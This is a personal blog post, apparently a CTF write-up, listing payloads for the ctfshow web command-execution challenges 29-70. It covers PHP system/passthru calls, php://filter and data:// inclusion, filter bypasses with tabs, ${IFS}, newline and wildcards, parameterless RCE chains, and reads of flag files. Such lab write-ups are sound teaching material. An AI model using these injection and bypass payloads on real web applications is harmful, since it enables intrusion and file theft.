ctfshow WEB入门 命令执行 29-70

web29

过滤了flag
?c=system("cat f*");

web30

过滤了system|flag,用一个代替system()的函数
?c=passthru("cat f*");

web31

过滤了system|cat|flag|空格
?c=passthru("more%09f*");

web32

在前面的基础上,过滤了括号,但没过滤双引号
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

过滤了引号
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

同33

web35

同33

web36

在前面的基础上,过滤了数字,解法同33

web37

这里用了PHP文件包含函数include(),利用伪协议读flag

data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

POC:?c=data://text/plain,<?php system("cat f*");

web38

在37的基础上,过滤了php,利用base64编码绕过
POC:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
//PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=是<?php system("cat flag.php");

web39

?c=data://text/plain<?php system("cat f*");?>

web40

?c=system("cat flag");
过滤了引号、$、冒号,还不能用伪协议
一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)

参考GXYCTF2019禁止套娃
解题参考:无参数读文件和RCE总结
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。

  • print_r(scandir('.'));查看当前目录下的所有文件名
  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。
  • current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
    但是这题过滤了引号,不能有参数,找一个代替'.'的东西
    print_r(scandir(current(localeconv())));打印出当前目录下文件
    flag.php在倒数第二个,直接用next(array_reverse());
    paylaod:?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41(unsolved)

web42

?c=ls;
?c=cat flag.php;

web43

过滤了;|cat

?c=ls%0a
?c=more flag.php%0a

web44

过滤了;|cat|flag

?c=ls%0a
?c=more f*%0a

web45

过滤了;|cat|flag|空格

?c=ls%0a
?c=more${IFS}f*%0a

web46

过滤了;|cat|flag|空格|数字|$|*

?c=ls%0a
?c=more%09fla?.php%0a

web47

过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令

?c=ls%0a
?c=nl%09fla?.php%0a

web48

同47

web49

同47

web50

过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令|%

?c=ls%0a
?c=nl<>fla\g.php%0a
(环境问题,通配符不好使

web51

同50

web52

过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
查看当前目录下的文件:
?c=ls%0a
查看flag.php:
?c=nl${IFS}fla\g.php%0a
里面是假的。。。
尝试查看根目下的所有目录:
?c=ls${IFS}/%0a
查看根目录下的flag:
?c=nl${IFS}/fla\g%0a

web53

过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
?c=ls

?c=nl${IFS}fla?.php

web54

过滤了;|cat|flag|空格|数字|查看文件命令nl等|`|%|\x09(空格)|\x26(&)|<|>
?c=ls%0a  回显flag.php
?c=cat flag.php;
即?c=paste${IFS}fla?.php

web55

参考:继无字母数字的命令执行(ctfshow web入门 55)新姿势

过滤了;|小写字母|`|%|\x09(空格)|\x26(&)|<|>

因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???

解法2:
bzip2命令是一个压缩文件的命令,压缩文件后缀为.bz2,命令路径:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
压缩后下载,访问/flag.php.bz2。

web56(unsolved)

web57

过滤了字母、数字、分号、2个通配符
又学到一个点
echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

POST:c=show_source('flag.php');

web59-65

题和58一样。。。

web66

用show_source(),回显该函数被禁用
直接读flag.php,发现位置不对
查看根目录下的文件:
POST:c=print_r(scandir("/"));
POST:c=highlight_file('/flag.txt');

web67

print_r()被禁用
查看根目录下有哪些文件:
POST:c=var_dump(scandir("/"));
POST:c=highlight_file('/flag.txt');

web68

show_source()和highlight_file()被禁用
POST:c=include('/flag.txt');

web69

查看根目录下的文件:
print_r()、var_dump()被禁用
POST:c=var_export(scandir("/"));
POST:c=include('/flag.txt');

web70

error_reporting() 、 ini_set()、 highlight_file()被禁用
看根目录的文件:
POST:c=include('/flag.txt');

posted @ 2020-10-03 22:08  Pur3  阅读(3703)  评论(0编辑  收藏  举报